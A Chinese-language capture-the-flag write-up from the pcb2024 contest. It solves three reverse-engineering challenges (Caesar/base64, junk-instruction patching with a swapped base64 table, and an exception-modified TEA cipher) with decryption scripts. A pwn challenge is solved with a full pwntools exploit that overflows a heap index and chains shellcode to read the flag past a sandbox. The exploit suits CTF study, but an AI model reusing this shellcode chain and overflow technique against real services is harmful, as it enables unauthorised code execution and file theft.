包菜的,虽然都没怎么做出来

但也是复现出来了

RE

joyVBS-pcb2024

打开时一个已VBS结尾的文件

第一次做

上网查了一手

image-20241113122503256

image-20241113122515099

直接实操一手,直接就跑出来了

image.png

就是一道凯撒加base64编码

很简单的也是,偏移为14

直接解就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64

def caesar_cipher(text, shift):
result = ""
for char in text:
if 'A' <= char <= 'Z':
result += chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
elif 'a' <= char <= 'z':
result += chr((ord(char) - ord('a') + shift) % 26 + ord('a'))
else:
result += char
return result

# 加密的字符串和偏移量
encrypted_text = "NalvN3hKExBtALBtInPtNHTnKJ80L3JtqxTboRA/MbF3LnT0L2zHL2SlqnPtJLAnFbIlL2SnFT8lpzFzA2JHrRTiNmT9"
shift = 26 - (9 + 2 + 2 + 1) # qwfe = 9 + 2 + 2 + 1

# 第一步:凯撒解密
decrypted_caesar = caesar_cipher(encrypted_text, shift)

# 第二步:Base64解码
decoded_flag = base64.b64decode(decrypted_caesar).decode('utf-8')

print("解密得到的 FLAG:", decoded_flag)

这里我是懒了直接喂给GPT的

Rafflesia-pcb2024

这是道花指令的题

由于好久没逆了,本来就菜结果跟不会了,还是跟着复现了一手

打开之后很明显的花指令

so,我们nop一手

image-20241113123537797

反编译成功后是有个base编码和加了个异或0x18的问题

但是问题肯定不会这么简单

SO,在我们动调的时候就发现了,肯定是还有东西的

函数栏里找到callback函数

image-20241113123757982

在nop一手

image-20241113134417171

遇到JZ的时候换一手就可以了

导航图动调一手就可以发现有一个换表的过程

image-20241113134240903

最后直接换表就行了

img

RE5-pcb2024

打开是一个tea加密

动调的时候

我们会发现有两个触零异常

image-20241113160617377

然后我们继续跟着异常函数走

image-20241113160754026

记住这两个常数

其实大概意思就是在进入tea加密前触发srand(0)函数,以他的时间种子为0生成随机数

然后再进入tea加密之后,在image-20241113162602156

触发第二次触零异常,也就是说这里替换了V4的值,这里可以手动动调验证

虽然这里写的是**-=**但是我们看汇编代码的时候可以发现他这里是add

image-20241113162750306

下面是动调验证

当我们第一次经过V4时

image-20241113163030809

第二次经过时

image-20241113163113644

然后我们正常验证一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
int main()
{
srand(0);
int a;
for(int i=0;i<32;i++)
{

a=rand();
printf("0x%x,",a);
}
return 0;
}
////
//0x26,0x1e27,0x52f6,0x985,0x2297,0x2e15,0x20ad,0x7e1d,0x28d2,0x7794,0x16dd,0x6dc4,0x476,0x119,0x5039,0x3e31,0x22f1,0x66ad,0xbb5,0x3958,0x51f0,0x7c93,0x5497,0x6532,0x4819,0x52b,0x70d1,0x8c0,0x25fd,0x7e16,0x98e,0x24e,

真好就是我们所验证的值,所以我们知道每一次的V4都会被替换成相应的随机数值

然后我们继续往下走就可以发现我们的密钥其实也是被替换了

被替换成2,2,3,3

然后正常解就行了

EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>  
#include <stdint.h>
#include <stdlib.h>

int sub_401140_decrypt(unsigned int *a1, unsigned int *a2)
{
int result; // eax
unsigned int i; // [esp+64h] [ebp-28h]
int v4; // [esp+68h] [ebp-24h]
unsigned int v5; // [esp+6Ch] [ebp-20h]
unsigned int v6; // [esp+70h] [ebp-1Ch]

v6 = *a1;
v5 = a1[1];
v4 = 0; // 初始化 v4 为 32 轮加密后的值

unsigned int temp[32]={0};
unsigned int sumtemp=0;
//printf("\n第n轮:data:\n");
for(int k=0;k<32;k++)
{
temp[k]=rand();
//printf("0x%x,",temp[k]);
sumtemp=sumtemp+temp[k];
}

for (i = 0; i < 32; ++i)
{
v5 -= (a2[3] + (v6 >> 5)) ^ (sumtemp + v6) ^ (a2[2] + 16 * v6);
v6 -= (a2[1] + (v5 >> 5)) ^ (sumtemp + v5) ^ (*a2 + 16 * v5);
sumtemp -= temp[31-i]; // 每轮恢复时增加 delta
}

*a1 = v6;
result = 4;
a1[1] = v5;
return result;
}

int main()
{
uint32_t v[32]={0xea2063f8,0x8f66f252,0x902a72ef,0x411fda74,0x19590d4d,0xcae74317,0x63870f3f,0xd753ae61};
unsigned int k[4]={2,2,3,3};
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
srand(0);
for(int i=0;i<4;i++)
{
sub_401140_decrypt(&v[2*i], k);
//sub_401140_decrypt(v, k);
}
//printf("解密后的数据:%u %u\n",v[0],v[1]);
printf("%s",v);
return 0;
}


PWN

cool_book

是到堆题,直接贴EXP了

整体思路如下:

50个堆块都创建完后并且返回main函数后,刚好可以溢出v6越界覆盖返回地址为堆地址写shellcode,又由于开了沙箱,所以直接手写一点写汇编打orw即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import*  
elf=ELF('./pwn')
p=remote('192.168.18.25',8888)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def li(a):
print(hex(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def bug():
gdb.attach(p)
pause()

rl(b'addr=')
heap=int(p.recv(14),16)
li(heap)
def choice(a):
sla(b'3.exit',str(a))
def add(idx,con):
choice(1)
sla(b'input idx',str(idx))
sa(b'input content',con)
def free(idx):
choice(2)
sla(b'input idx',str(idx))

shellcode1=asm('''
mov rsp,rbp
jmp rbp
''')

shellcode2=asm('''
mov r8,0x67616c662f
sub rbp,0x30
jmp rbp
''')

shellcode3=asm('''
push r8
mov rdi,rsp
sub rbp,0x30
jmp rbp
''')

shellcode4=asm('''
xor esi,esi
push 2
pop rax
syscall
sub rbp,0x30
jmp rbp
''')

shellcode5=asm('''
mov rdi,rax
mov rsi,rsp

sub rbp,0x30
jmp rbp
''')

shellcode6=asm('''
mov edx,0x100
xor eax,eax
syscall
sub rbp,0x30
jmp rbp
''')

shellcode7=asm('''
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
for i in range(48):
add(i,b'a')
print(len(shellcode6))

add(43,shellcode7)
add(44,shellcode6)
add(45,shellcode5)
add(46,shellcode4)
add(47,shellcode3)
add(48,shellcode2)
add(49,shellcode1)


sla(b'3.exit',str(3))





inter()

特别感谢:

bananashiptommy的妙妙屋 (bananashipsbbq.github.io)

感谢带着复现了一手